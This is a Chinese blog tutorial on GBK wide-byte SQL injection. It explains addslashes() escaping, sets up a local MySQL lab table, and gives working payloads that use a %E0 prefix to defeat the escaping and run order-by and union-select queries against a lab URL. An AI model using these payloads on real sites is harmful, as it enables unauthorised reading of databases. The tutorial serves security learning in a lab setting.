宽字节注入讲解

我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。

----  网易云热评

一、原理

1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

 

二、addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符是:单引号('),双引号("),反斜杠(\),NULL

3、实例

<?php

$ss=addslashes('aiyou"bu"cuoo');

echo($ss);

?>

运行结果:

aiyou\"bu\"cuoo

 

三、数据库创建

1、创建数据库名为jay

create database jay;

2、选择创建好的数据库

use jay;

3、创建表名为zhuanji,字段包括,id,neme,year,zhudage

create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int  not null,zhudage varchar(255) not null);

4、插入数据

insert into zhuanji (name,year,zhudage) values ("七里香","2004","七里香/外婆/我的地盘");

insert into zhuanji (name,year,zhudage) values ("十一月的萧邦","2005","夜曲/发如雪/珊瑚海");

insert into zhuanji (name,year,zhudage) values ("我很忙","2007","青花瓷/我不配/彩虹");

5、中文编码问题,修改my.ini文件

[mysql]

default-character-set=gbk

[mysqld]

character-set-server=gbk

 

四、宽字节注入

1、访问该网址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息

2、判断是否存在注入,在id=2后面加入',看是否报错,发现单引号被转义了

3、替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了

4、成功替换了反斜杠

5、获取数据库列数,order by 4返回正常

192.168.0.104/aiyou/1.php?id=2%E0' order by 4 --+

 

6、获取数据库名称及版本号

192.168.0.104/aiyou/1.php?id=-2%E0' union select 1,database(),version(),4 --+

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

 

 

  • 6
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

web安全工具库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值